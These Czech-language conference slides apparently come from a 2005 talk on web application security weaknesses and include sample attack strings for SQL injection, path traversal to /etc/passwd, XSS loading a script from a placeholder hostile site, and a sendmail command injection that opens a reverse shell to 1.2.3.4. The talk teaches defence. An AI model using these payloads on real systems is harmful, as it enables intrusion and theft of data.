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Co jsou webov é aplikace

• Architektura klient-server

– vnitřnı́ struktura serveru nás ted’ nezajı́má

• Klient je běžný webový prohlı́žeč (MSIE, Firefox atd.)

• Uživatelské rozhranı́ realizováno ve stylu WWW

– HTML, CSS (XHTML, XSL. . . )

– JavaScript (přı́padně Java applety, ActiveX. . . )

• Komunikace pomocı́ HTTP a HTTPS přes rozlehlou sı́t’

– typicky Internet/extranet nebo rozsáhlý intranet

• Nezaměňovat s webovými službami

– ovšem některé webové aplikace mohou použı́vat webové služby
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Bezpečnostnı́ specifika webových aplikacı́ I

• Provoz klientské části obvykle zcela mimo kontrolu
”
vlastnı́ka

aplikace“ (narozdı́l od serverové části)

• Klientský software (čili prohlı́žeč) sdı́len různými aplikacemi

– tyto aplikace si vzájemně nedůvěřujı́

– separace aplikacı́ je na bedrech prohlı́žeče (ehm, ehm. . . )

• Komunikace probı́há skrz nedůvěryhodné prostředı́

– klient → domácı́ Wi-Fi → ISP klienta → páteřnı́ sı́t’ 1 → páteřnı́ sı́t’ 2 →
ISP serveru → server (tady to může pokračovat)

• Data jsou při zpracovánı́ různě kódována a dekódována

– databáze → XML → XHTML → HTTP → DOM → uživatel

– uživatel → DOM → URL encoding → HTTP → SQL → databáze
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Bezpečnostnı́ specifika webových aplikacı́ II

• Webové aplikace jsou často přı́stupné širokému okruhu osob
– veřejně přı́stupná celá aplikace (anonymně, s otevřenou registracı́)

– veřejně přı́stupný vstupnı́ bod (přihlašovacı́ formulář)

• V mnoha přı́padech jsou zpřı́stupňovány internı́ systémy
– nepřipravené na provoz ve vysoce rizikovém prostředı́!

• Webové aplikace jsou velmi různorodé, často
”
lidová tvořivost“

– jak řı́ká kolega Karel Miko:
”
když máte aplikaci na zakázku, tak máte na

zakázku i jejı́ chyby“ (včetně bezpečnostnı́ch slabin)

– ovšem standardnı́ aplikace či platformy také nejsou bez chyb

• Útoky obvykle vedeny až na aplikačnı́ vrstvě
– mimo zorné pole obranných mechanismů na nižšı́ch úrovnı́ch

– šifrovaná komunikace + firewall (nebo IDS či IPS) = Hlava 22
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Identifikace a autentizace uživatelů

• Nejčastějšı́ metodou je jméno a heslo zadávané do formuláře
– všechny klasické problémy s autentizacı́ pomocı́ hesel

–
”
nový problém“ – spyware, keyloggery a podobná havět’

• I špatnou věc (hesla) lze dále pokazit. . . (to platı́ obecně)
– absence detekce a prevence hádánı́ hesel

– rozlišenı́ chybného jména od správného jména a chybného hesla

– omezenı́ množiny platných hesel (PINy,
”
horizontálnı́ útok“)

– zapamatovaná hesla v prohlı́žeči

• Ostatnı́ metody méně časté
– . . . ale i principiálně kvalitnı́ metody lze pokazit

– přı́klad 1: ověřovánı́ znalosti privátnı́ho klı́če pomocı́ generovánı́
digitálnı́ho podpisu pro konstantnı́ vstup

– přı́klad 2: akceptovánı́ klientského certifikátu od nevěrohodné CA

Bezpečnostnı́ slabiny WWW aplikacı́ — Datakon 2005 6



Kontext uživatelských seancı́

• HTTP je sám o sobě bezestavový protokol
– neexistuje spolehlivý vztah mezi uživateli, TCP spojenı́mi, IP adresami

– u každého jednotlivého požadavku je třeba určit, ke které seanci patřı́

• Řešenı́: klient do každého požadavku explicitně vkládá identifikátor
aktuálnı́ seance zı́skaný (obvykle) od serveru
– cookies – nejčastějšı́ metoda, např.
ASPSESSIONIDQQBSCTSR=GNAGAAHDFODJFLDMEEBBMPNJ

– session cookie vs. persistent cookie

– části URL, např.
https://www.aplikace.cz/funkce.asp?session=12345678
https://www.aplikace.cz/12345678/funkce.asp

– skrytá pole formulářů

– (std. HTTP autentizace apod. – autentizace uživatele při každé operaci)
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Útoky na uživatelsk é seance

• Session hijacking: zjistı́-li nepřı́tel identifikátor cizı́ seance, může do
nı́ vstoupit a provádět operace cizı́m jménem

• Prozrazenı́ identifikátoru seance
– odposlouchávánı́ (absence přı́znaku secure u cookie)

– údaj v hlavičce Referer při přechodu na jiné sı́dlo, historie browseru

• Uhádnutı́ identifikátoru seance
– jsou-li generovány predikovatelným způsobem (např. malá celá čı́sla)

– někdy lze dokonce vygenerovat zcela fiktivnı́ seanci

• Session riding: využitı́ automatického doplňovánı́ údajů o seanci
(cookies) a možnosti vstoupit

”
doprostřed“ aplikace

– nepřı́tel zmanipuluje browser oběti k přechodu na URL nějaké funkce
aplikace (pokud možno destruktivnı́)

– zvlášt’ pikantnı́ v kombinaci s SSO
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Ochrana komunikace mezi klientem a serverem

• Kryptografická ochrana komunikace (S v HTTPS) je pro vytvořenı́
bezpečné webové aplikace podmı́nka většinou nutná, ale nikoli
postačujı́cı́.

• Chybné nebo podezřelé certifikáty
– certifikáty vydané nějakou podivnou CA (nebo rovnou self-signed)

– certifikáty s již prošlou platnostı́, krátké a slabé klı́če

– špatné kořenové a jiné CA certifikáty

• Mixovánı́ zabezpečeného a nezabezpečeného obsahu
– často při vstupu do aplikace: např. uživatel vstupuje přes
www.aplikace.cz (HTTP) a je automaticky přesměrován

– extrém: přechod na HTTPS až po vyplněnı́ přihlašovacı́ho formuláře!

• Uživatelé tomu nerozumı́ a všechno bez přemýšlenı́ odklikajı́
– . . . a jsou v tom ještě utvrzováni výše popsanými problémy
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Útoky proti dův ěřiv ému serveru

• Klientský software je plně v moci uživatele (i zlého)
– nepřı́tel může čı́st, pozměňovat, modifikovat, odstraňovat, nebo

opakovaně použı́vat veškerá data, která jeho klient dostane od serveru,
nebo naopak jeho klient posı́lá na server (HTTPS je bezmocné!)

– stejně dobře může generovat nová data, at’ už odvozená od reálných,
nebo zcela fiktivnı́, a vkládat je do komunikace mezi klientem a serverem

– může potlačit či zmanipulovat jakékoli operace prováděné na klientovi

• Manipulovat je možno opravdu se všemi daty, se kterými klient
pracuje. . .
– URL – komponenty cesty, parametry

– pole formulářů včetně skrytých

– skryté části HTML dokumentů (komentáře), skripty

– cookies, dalšı́ údaje v hlavičkách HTTP (User-Agent)
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Manipulace s URL

• URL tampering: pozměňovánı́ částı́ existujı́cı́ch URL (zejména
parametrů)

• Forceful browsing: vynucený přechod na explicitně zadané URL
v rámci aplikace bez použitı́ hyperlinku

• Je toto všechno v aplikaci řádně ošetřeno?
– mějme aplikaci, ve které jsou URL tvaru
https://www.aplikace.cz/zobraz_zaznam.asp?id=1287

– nepřı́tel může zkusit změnit identifikátor záznamu
https://www.aplikace.cz/zobraz_zaznam.asp?id=1288

– . . . také může zkusit hledat staré verze skriptu
https://www.aplikace.cz/zobraz_zaznam.asp.old

– . . . nebo najı́t jiné, běžně nepřı́stupné funkce
https://www.aplikace.cz/admin.asp
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Manipulace se skrytými hodnotami

• Nepřı́tel může změnit jakákoli data, která si u něho server
”
uschová“

– skrytá pole ve formulářı́ch, cookies. . .

–
”
obfuskace“ nenı́ dostatečná ochrana

• Požadavek lze modifikovat i na cestě mezi prohlı́žečem a serverem
– mějme aplikaci, kde klient generuje požadavky tvaru (zkráceno)
POST /objednavka.asp HTTP/1.1 . . .
Cookie: Zakaznik=56789; Nakupni_kosik=1234:Prvn%ED
%20druh%20zbo%BE%ED:590:0,2345:Jin%FD%20druh%20zbo
%BE%ED:1990:0,celkem:2580

← (prázdný řádek)
operace=pridat_do_kosiku&objcis=3456&nazev=N%ECco
%20%FApln%EC%20jin%E9ho&cena=17990&sleva=0

– co se stane, když nepřı́tel pozměnı́ některou z označených částı́? může
nakupovat na cizı́ účet? může měnit cenu zbožı́ či celého nákupu?
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Manipulace s hodnotami ve formul ářı́ch

• Nepřı́tel může zadat do formulářů jakékoli nesmyslné hodnoty
– omezenı́ dané strukturou a parametry vstupnı́ch polı́ (max. délky hodnot,

výčty hodnot u výběrových polı́) lze obejı́t

– omezenı́ implementovaná skripty (svázanými s událostmi onkeypress,
onblur, onsubmit apod.) lze také obejı́t

• Je mnoho způsobů, jak obejı́t kontrolu vstupů na klientovi
– pozměňovánı́ dat během komunikace (viz předchozı́ slajd)

– úprava HTML dokumentu obsahujı́cı́ho formulář

– manipulace s daty pomocı́ skriptového debuggeru

– libovolný prohlı́žeč umožňuje operativnı́ spouštěnı́ vlastnı́ch skriptů
pomocı́ URL schématu javascript:, např.
javascript:document.forms[0].cena.value=1,undefined
javascript:document.forms[0].submit(),undefined
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Útoky využı́vajı́cı́ vkl ádánı́ řı́dı́cı́ch dat

• Implementace webových aplikacı́ komunikujı́ různými jazyky
– SQL při komunikaci s databázemi

– HTML (+ JavaScript) při posı́lánı́ dat na klienta

– a jiné (shell, LDAP, XML, XPath, samotné HTTP. . . )

• Každý použı́vaný jazyk má specifickou syntaxi a specifické řı́dı́cı́
znaky či sekvence znaků
– zejména zajı́mavé jsou značky měnı́cı́ mód jazyka z dat na přı́kazy

– např. apostrofy v SQL, < a > v HTML (a XML) atd.

– nikdy nevı́me, jaká temná zákoutı́ lze v parseru nalézt
obecná poučka: je třeba explicitně povolovat a ne explicitně zakazovat!

• Kus dat vložený do (kon)textu v některém z těchto jazyků může
nabýt naprosto neočekávaného významu
– . . . tedy z pohledu tvůrce dané aplikace
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SQL injection I

• SQL injection: situace, kdy jsou nedůvěryhodná textová data bez
patřičné kontroly vkládána doslova do SQL dotazů či přı́kazů
– nepřı́tel může pozměňovat dotazy a dotazovat se na data, ke kterým

vůbec neměl mı́t přı́stup (např. čı́sla cizı́ch kreditnı́ch karet)

– nepřı́tel může někdy dokonce i data v databázi neoprávněně modifikovat,
spouštět programy atd.

• Názorný přı́klad jednoduché změny dotazu
– mějme aplikaci, která pro vstup

”
Josef Nov�ak“ vygeneruje dotaz

select * from Osoby where Jmeno=’Josef Nov�ak’
– předpokládejme, že aplikace je ochotna do dotazu doslovně a beze

změny vložit úplně jakákoli vstupnı́ data

– pokud nepřı́tel zadá jako vstup
”
' or ''='“ bude výsledkem dotaz

select * from Osoby where Jmeno=’' or ''='’
s podstatně odlišným významem
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SQL injection II

• Lze se dotazovat i na jiné tabulky
– nejlépe použitı́m spojky union, např.
select * from Osoby where Jmeno = ’' and 1=0
union all select 'a', 'b', sloupec1, sloupec2, 'c'
from Tajna tabulka--’

– také lze použı́t vnořené dotazy, joiny. . .

– schéma databáze lze uhádnout nebo zjistit z metadat

• Někdy aplikace vracı́ jen část požadovaného výsledku dotazu
– jen několik řádek – postupně iterovat podle hodnot klı́če

– jen několik sloupců – konkatenovat nebo položit vı́c samostatných dotazů

• Blind SQL injection: SQL injection, při které se vracı́ informace jen
postrannı́mi kanály (výskyt chyby, doba zpracovánı́ požadavku atd.)
– rozdělit informaci na jednotlivé bity a dotazovat se postupně
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SQL injection III

• Vloženı́ apostrofu nenı́ nezbytná podmı́nka

– nedůvěryhodná data nemusı́ být obklopena apostrofy (čı́selné údaje,
přı́padně jména sloupců, tabulek atd., i celé části dotazů)

– viz obecnou poučku o temných zákoutı́ch parseru

• Nenı́ třeba se omezovat jen na čtenı́ dat

– některé dialekty umožňujı́ dotaz transformovat na sekvenci dotazů, DML
přı́kazů, volánı́ uložených procedur aj. (přı́mo nebo nepřı́mo přes
systémovou funkci à la xmlgen.getXML v Oracle)

– databázové stroje poskytujı́ řadu zajı́mavých systémových procedur a
funkcı́ (xp_cmdshell v MS SQL, balı́ky utl_* v Oracle. . . )

– lze útočit na slabiny samotného databázového stroje

– lze útočit na okolı́ databázového serveru (často vnitřnı́ sı́t’)
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Dalšı́ možnosti vkl ádánı́ p řı́kazů

• Sestavovánı́ shellových přı́kazů
– např. odesı́lánı́ elektronické pošty na jmeno@domena.cz přı́kazem
/usr/lib/sendmail -oi ’jmeno@domena.cz’

– zadánı́m textu obsahujı́cı́ho řı́dı́cı́ znak (apostrof, ale pozor na Bash 1.x!)
lze do generovaného přı́kazu vložit dalšı́ kód, např.

”
reverznı́ shell“

/usr/lib/sendmail -oi ’jmeno@domena.cz';
(sleep 9999|telnet 1.2.3.4 25|sh 2>&1| telnet
1.2.3.4 25) </dev/null >/dev/null 2>&1 &#’

• Možnost nahrávat na server soubory pod libovolnými jmény a
později na ně přistupovat
– stačı́ vyrobit skript v patřičném jazyce (např. ASP), nahrát ho na server

s vhodným jménem (xyz.asp) a přistoupit na odpovı́dajı́cı́ URL

– server předložený skript vykoná

• A tak dále. . .
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Manipulace se jm ény souborů

• Nedůvěryhodná data mohou být také použita jako jména souborů
nebo jejich části
– soubory se zpracovávanými vstupnı́mi daty

– soubory obsahujı́cı́ šablony generovaných stránek

– totéž se ostatně děje i přı́mo v běžném HTTP serveru

– nepřı́tel může dosáhnout práce se soubory, se kterými se pracovat
nemělo (vyzrazenı́ důvěrných dat, poškozenı́ souborů, nepřı́mý útok na
kód, který s daty pracuje – tzv. second order attack)

• Path traversal: úprava použı́vaného jména souboru tak, aby byla při
jeho zpracovánı́ opuštěna vyhrazená oblast souborového systému
– mějme např. tuto poměrně frekventovanou konstrukci v jazyce PHP
if (file_exists. . .) include("$dir/$parametr.php");

– nepřı́tel zadá parametr ../../../../../../etc/passwd%00
– kombinace se speciálnı́m významem znaku s kódem 0
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HTML injection

• HTML injection: situace, kdy jsou nedůvěryhodná textová data bez
patřičné kontroly vkládána doslova do generovaných dokumentů
v jazyce HTML

– často se vyskytuje při vypisovánı́ stavových (zejména chybových)
hlášenı́, kdy je do dokumentu opsána hodnota zadaných parametrů,
např. hlášenı́

”
Osoba Nesmysl nebyla nalezena!“ se může

proměnit na hlášenı́
”
Osoba <tag1> nebyla nalezena!“

– lze samo o sobě použı́t pro vytvořenı́ falešného obsahu dokumentu

– zejména zajı́mavá je možnost vkládánı́ skriptů, viz dále

• Odbočka: jak prohlı́žeč určuje přı́stupová práva skriptů?

– zhruba platı́, že pokud byl skript zı́skán ze sı́dla S, pak má přı́stup ke
všemu z S (načtené stránky, cookies, XMLHTTP)

– tento mechanismus se nazývá same origin policy (SOP)
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Cross-site scripting I

• Cross-site scripting (zkratka XSS): využitı́ HTML injection
k

”
propašovánı́“ skriptů do cizı́ webové aplikace

– prohlı́žeč považuje skript za autentickou součást aplikace a SOP ji přidělı́
přı́stup ke zbytku aplikace

– takový skript může krást jména a hesla, cookies a jiná data

– může také aktivně provádět operace v rámci aplikace

– může za chodu přijı́mat dalšı́ instrukce

• Skripty lze do dokumentu vkládat různými způsoby
– základnı́ cesta je tag <script>, umožňuje mj. načı́tat celé soubory ze

zadaných URL, např.
”
Osoba <script src="https://

www.zly-web.cz/skodic.js"> nebyla nalezena!“

– lze použı́t atributy různých tagů, speciálně on*

– automaticky načı́taná URL (obrázky, stylesheety)
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Cross-site scripting II

• Pokusy o XSS lze různě maskovat
– méně obvyklé způsoby kódovánı́ textů

– specifické vlastnosti konkrétnı́ch parserů

– přı́klad: <img src="adresar/soubor.jpg"style=
background:url(&#106ava&#115cript:alert(666))>

• Skripty mohou od nepřı́tele k oběti putovat různými cestami
– reflected XSS – aplikace opisuje své vstupy, obět’ musı́ být např.

zmanipulována k návštěvě zvláštnı́ho URL

– stored XSS – jeden uživatel aplikace skript vložı́ do nějakých dat a
aplikace ho neopatrně opı́še, když si obět’ prohlı́žı́ data (diskuse, e-mail,
e-banking!)

– DOM-based XSS – zvláštnı́ přı́pad, kdy s daty neopatrně manipuluje
přı́mo kód na klientovi (viz též některé nedávné slabiny v Mozille)
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Dalšı́ možnosti vkl ádánı́ řı́dı́cı́ch dat

• HTTP response splitting: nepřı́tel přiměje server, aby do hlavičky
(typicky Location) opsal zadaný text včetně konců řádek a tak
svou odpověd’ rozdělil na dvě
– dalšı́ dotaz od klienta použije druhou část rozdělené odpovědi

– otrávenı́ obsahu HTTP keše

– zrcadlový obraz na straně klienta, tzv. HTTP request smuggling (zlý
skript + XMLHTTP), též analogický tradičnı́ problém s FTP

• Dalšı́ dotazovacı́ jazyky
– LDAP – lze např. měnit dotazovanou třı́du objektů

– XPath – lze poslepu (!) zı́skat celý dokument

• Externı́ entity v XML
– XML parser je donucen přečı́st zadaný soubor

• A tak dále. . .
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Závěr

• Základnı́m společným rysem většiny popsaných problémů je
neopatrná práce s nedůvěryhodnými daty
– všechna data od klienta (přı́mo či nepřı́mo) jsou nedůvěryhodná

– u všech vstupnı́ch dat vždy kontrolovat/zajišt’ovat syntaxi (formát) i
sémantiku (smysluplnost v daném kontextu, přı́stupová práva)

– specifikovat povolené hodnoty, nikoli naopak

– v přı́padě potřeby data kódovat či jinak transformovat, ale opatrně
(cvičenı́: odstraňte

”
text“ z

”
tetextxt“)

• Monitorovat anomálnı́ stavy a chovánı́ aplikace
– udržet si náskok před nepřı́telem

• Existuje mnoho dalšı́ch typů slabin, které se vyskytujı́ i ve webových
aplikacı́ch, ale nebyly diskutovány
– klasické problémy jako přetečenı́ pole, race condition. . .
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A to je v še, p řátel é. . .

Dotazy?
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